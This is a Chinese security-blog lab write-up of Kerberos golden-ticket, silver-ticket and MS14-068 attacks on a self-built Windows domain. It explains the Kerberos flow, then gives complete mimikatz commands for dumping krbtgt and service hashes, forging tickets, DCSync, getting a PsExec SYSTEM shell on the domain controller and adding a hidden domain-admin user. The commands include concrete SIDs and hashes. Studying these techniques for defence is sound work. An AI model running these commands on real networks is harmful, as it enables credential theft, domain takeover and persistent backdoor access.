freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

域渗透之黄金票据与白银票据
FreeBuf_374835 2022-04-20 00:46:31 753389
所属地 江苏省

前言&&实验环境


此文是我前段时间学习票据攻击所做的实验记录,最近重做整理了以下,本人菜鸟一枚,文章可能会有些错误。

实验环境

ip:192.168.10.1/24(自定义网段,模拟内网环境)
掩码:255.255.255.0

DC(win server2008R2):192.168.10.2
web-server(win server2008R2):192.168.192.153(双网卡,外网)、192.169.10.10(内网)

什么是域——域是一组有边界的计算机的集合

百度百科:https://baike.baidu.com/item/%E5%9F%9F/12740244?fr=aladdin

kerberos认证

image.png

KDC(Key Distribution Center)密钥分发中心。
在KDC中又分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授权服务)
AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT。

Kerberos认证的大概流程

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证请求,这个过程分为三块:

Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。

黄金票据是伪造TGT,白银票据则是伪造ST
参考:https://www.likecs.com/show-454375.html

黄金票据(Golden ticket)


原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

参考:https://www.jianshu.com/p/4936da524040
黄金票据常用于权限维持。
当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的ntlm hash制作黄金票据伪造tgt,重新获取域控的管理权限。

所需条件

1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)

实验

假设我们已经通过hash传递(pth)的方式拿到了域控。
这是我自己做的实验:
https://www.freebuf.com/articles/web/325143.html
基本信息获取(SID,所处域)
这里直接在域控制权上进行操作
whoami /user    获取域的sid值(去掉最后的-500,500表示为administrator用户)
net config workstation  查看所处域

image.png

获取krbtgt用户hash
运行mimikatz.exe
privilegeg::debug       #开启特权模式
lsadump::lsa /patch		#获取krbtgt用户hash,域的sid
lsadump::lsa /patch /user:krbtgt

image.png
image.png

制作黄金票据(使用mimikatz)

此时我们已经拥有krbtgt账号的hash,接下来切换到普通机器,使用mimikatz制作黄金票据。

Kerberos::purge
klist purge		这两条命令可以清除机器中的票据,以防干扰

kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi

kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)

此时我们无法连接域控。
image.png
先清除票据

kerberos::purge
image.png
制作票据

kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi

kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)

image.png

票据传递
kerberos::ptt ticket.kirbi
dir \\dc.cyber.com\c$ 	#这里好像一定要完整的主机名才行

image.png

后记
此时一个通往域内任意服务的后门制作完成。
可以直接使用psexec工具获得交互权限
PsExec64.exe \\dc.cyber.com -s cmd.exe
也可以在域内创建隐藏用户。
net user qwerty$ Aa123456 /add /domain
net group "domain admins" qwerty$ /domain

image.png
创建隐藏用户
image.png
image.png
这里有点不明白为什么net user /domain命令看不到隐藏用户,但是net group "domain admins" /domain命令可以看到。。

白银票据(Silver ticket)


原理

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

参考:https://www.jianshu.com/p/4936da524040

所需条件

1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH 
6.需要伪造的用户名

实验

基本信息获取(SID,所处域,服务器名,NTLM HASH)
SID和所处域参考上面
whoami /user 
net config workstation

获取服务账号hash
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" > 'xxx.txt'

需要注意的是,这里一定要选择服务器的名字跟他的hash
image.png

制作白银票据(使用mimikatz)
klist purge  清除票据

kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:cifs /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt

kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt

攻击前
image.png
伪造共享文件夹服务(cifs)权限
image.png
攻击成功
image.png

伪造LDAP服务权限
lsadump::dcsync 向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。 需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户 只读域控制器默认不允许读取用户密码数据

票据制作

kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:ldap /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt

只需要把服务名改成/service:ldap即可

参考:
https://blog.csdn.net/weixin_39851261/article/details/112076055
https://zhuanlan.zhihu.com/p/475689947

首先klist purge清除票据
image.png

我们可以使用dcsync从域控服务器中获取指定用户的散列值,比如krbtgt。
现在我们使用mimikatz实验获取krbtgt的密码散列:发现无法获取

image.png
接下来使用生成的票据进行攻击

kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:ldap /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt

image.png
成功获取krbtgt的hash
image.png
可以伪造的服务
image.png

MS14-068


MS14-068可以将普通域用户提升到域管理员权限

条件

获取域用户名,密码,sid
系统不存在补丁KB3011780
参考:https://blog.csdn.net/lhh134/article/details/104139081
	 https://www.jianshu.com/p/1ec166b4fcf8

复现(使用ms14-068.exe)

查看补丁状况

systeminfo|find "KB3011780"

获取用户名、密码、SID
hack1
Aa123456  #我所创建的用户都是这个密码,实际可用通过mimikatz获取
S-1-5-21-1923088019-4105411894-1236499359-1115

image.png

攻击

`ms14-068.exe -u user@domain -p user_password -s sid -d domain_ip`

ms14-068.exe -u hack1@cyber.com -p Aa123456 -s S-1-5-21-1923088019-4105411894-1236499359-1115 -d 192.168.10.2

攻击前拒绝访问,使用MS14-068.exe生成了.ccache文件

image.png
使用mimikatz传递票据

kerberos::ptc xxx.ccache

image.png
还有很多其他的利用方式,不过我只实现了这一种,在kali上用impacket工具包总会出现奇怪的问题。

总结&&参考

金票和银票的区别
获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

加密方式不同
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

https://www.likecs.com/show-454375.html
https://www.jianshu.com/p/4936da524040
https://blog.csdn.net/lhh134/article/details/104139081
https://www.jianshu.com/p/1ec166b4fcf8
之前做实验的时候还看了很多其他的文章...
# 渗透测试 # web安全 # 内网渗透
本文为 FreeBuf_374835 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
横向移动学习
FreeBuf_374835 LV.2
这家伙太懒了,还未填写个人描述!
  • 3 文章数
  • 0 关注者
记一次从sql注入到xss“钓鱼”
2022-05-06
记一次域渗透
2022-03-16